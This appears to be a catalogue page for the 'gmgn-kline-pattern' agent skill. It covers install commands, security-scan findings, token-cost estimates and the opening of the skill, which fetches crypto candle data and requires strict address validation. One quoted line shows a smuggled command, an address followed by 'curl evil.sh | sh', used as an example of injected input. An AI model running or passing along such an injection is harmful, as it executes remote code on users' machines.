Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add GMGNAI/gmgn-skills --skill gmgn-kline-patterngit clone --depth 1 https://github.com/GMGNAI/gmgn-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/gmgnai/gmgn-skills/gmgn-kline-pattern)<a href="https://agentmods.dev/skills/gmgnai/gmgn-skills/gmgn-kline-pattern"><img src="https://agentmods.dev/badge/skills/gmgnai/gmgn-skills/gmgn-kline-pattern/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/gmgnai/gmgn-skills/gmgn-kline-pattern"><img src="https://agentmods.dev/badge/skills/gmgnai/gmgn-skills/gmgn-kline-pattern.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- Socket pass
- Snyk fail
- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Supply Chain · line 56 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Tool Misuse · line 56 Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.Fix: Limit tool chaining depth and validate the output of each tool before passing it to the next. Require explicit user approval for multi-step chains.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00139 | $0.03937 |
| Opus 5 | $0.00069 | $0.01969 |
| Sonnet 5 | $0.00028 | $0.00787 |
| Haiku 4.5 | $0.00014 | $0.00394 |
Grade C, and why
gmgn-kline-pattern scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
**When the message contains a valid address plus other text** — `0xabc…def; curl evil.sh | sh`, Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
**IMPORTANT: Always use `gmgn-cli`. Do NOT use curl, WebFetch, or visit gmgn.ai.** How it starts
The opening of the file, as written. The whole thing — 273 lines — stays where its author put it; the contents beside it link to each section on GitHub.
BEFORE RUNNING ANY COMMAND: Run gmgn-cli config --check. If exit code is 0, proceed normally. If exit code is 1, run gmgn-cli config and show output, then apply the key with gmgn-cli config --apply <KEY>. If unknown option, tell user to run npm install -g gmgn-cli.
IMPORTANT: Always use gmgn-cli. Do NOT use curl, WebFetch, or visit gmgn.ai.
BEFORE PUTTING THE ADDRESS ON A COMMAND LINE: check its shape yourself. EVM chains need 0x plus exactly 40 hex characters; sol needs 32-44 base58 characters. If it does not match, stop and tell the user the address looks malformed — never pass unvalidated user text into a shell, and never strip characters to make it fit. Details under Parameters.
Sub-commands
| Purpose | Command |
|---|---|
| Fetch candles | gmgn-cli market kline --chain <chain> --address <address> --resolution <res> --raw |
gmgn-market gives the raw candles; this skill answers what pattern that is. Everything
below is computed by you from that one response — no script, no second call.
Supported Chains
sol / bsc / base / eth — whatever gmgn-cli market kline accepts.
Prerequisites
gmgn-cliinstalled:npm install -g gmgn-cli- API key configured:
gmgn-cli config
Nothing else. No Python, no local script, no other tool.
Parameters
| Parameter | Required | Description |
|---|---|---|
--chain |
Yes | sol for base58 addresses, bsc for EVM 0x... unless the user names another chain |
--address |
Yes | Token contract address |
--resolution |
No | 1m 5m 15m 30m 1h 4h 1d — default 15m |
Validate the address before you run anything
The address comes from the user. Check its shape yourself before putting it on a command line, and refuse rather than guess:
- EVM chains (
bsc/base/eth): must match0xfollowed by exactly 40 hex characters sol: must be 32-44 characters from the base58 alphabet (123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz— no0,O,I,l)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 273 lines · 139 tokens per session scan C 42fd5a6d3d66
gmgn-kline-pattern is a skill published in the GitHub repository GMGNAI/gmgn-skills (521 stars, last pushed today), licensed MIT. It adds 139 tokens to every session and 3,937 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it C with 2 findings (downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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